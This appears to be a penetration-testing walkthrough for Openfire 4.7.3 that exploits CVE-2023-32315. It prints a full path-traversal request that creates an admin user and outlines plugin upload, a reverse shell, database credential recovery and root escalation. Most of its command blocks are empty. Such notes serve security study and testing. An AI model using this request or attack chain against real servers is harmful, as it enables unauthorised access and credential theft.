Openfire
Openfire 4.7.3 can expose the administrative console on TCP 9090/9091. CVE-2023-32315 can create an admin user, and admin access can be used to upload a command-execution plugin.
Discovery
Nmap may misidentify the console as Hadoop, but the jive-* strings are a useful Openfire clue:
9090/tcp open hadoop-tasktracker Apache Hadoop
|_http-title: Site doesn't have a title (text/html).
| hadoop-tasktracker-info:
|_ Logs: jive-ibtn jive-btn-gradient
9091/tcp open ssl/hadoop-tasktracker Apache Hadoop
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost, DNS:*.localhostBrowse to the admin console:
http://TARGET:9090
Openfire, Version: 4.7.3Afrog can identify CVE-2023-32315 paths:
CVE-2023-32315-2 HIGH http://TARGET:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User
CVE-2023-32315 HIGH http://TARGET:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jspCVE-2023-32315 Admin Creation
Use the K3ysTr0K3R PoC to confirm the target is vulnerable and create an admin account:
Successful output:
After login, check users at:
Observed users:
Plugin Command Execution
Build the Openfire CVE plugin:
Successful build artifact:
Upload the plugin through the admin console. A successful upload redirects to:
The shell plugin is available under:
The observed plugin password was:
Reverse Shell
Use the plugin command execution to download and execute an ELF reverse shell:
Plugin commands:
Successful shell:
Credential Hunting
Useful Openfire files:
Observed paths and config:
The embedded HSQLDB lives under /var/lib/openfire/embedded-db/. The encrypted OFUSER passwords and OFPROPERTY values were recovered from the database script file:
Useful values:
The passwordKey can decrypt OFUSER encrypted passwords with Openfire password decrypter tooling:
Privilege Escalation
Try the recovered SMTP password for local privilege escalation:
Successful root access used:
Confirm:
References
https://github.com/K3ysTr0K3R/CVE-2023-32315-EXPLOIT
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
https://www.vulncheck.com/blog/openfire-cve-2023-32315
Last updated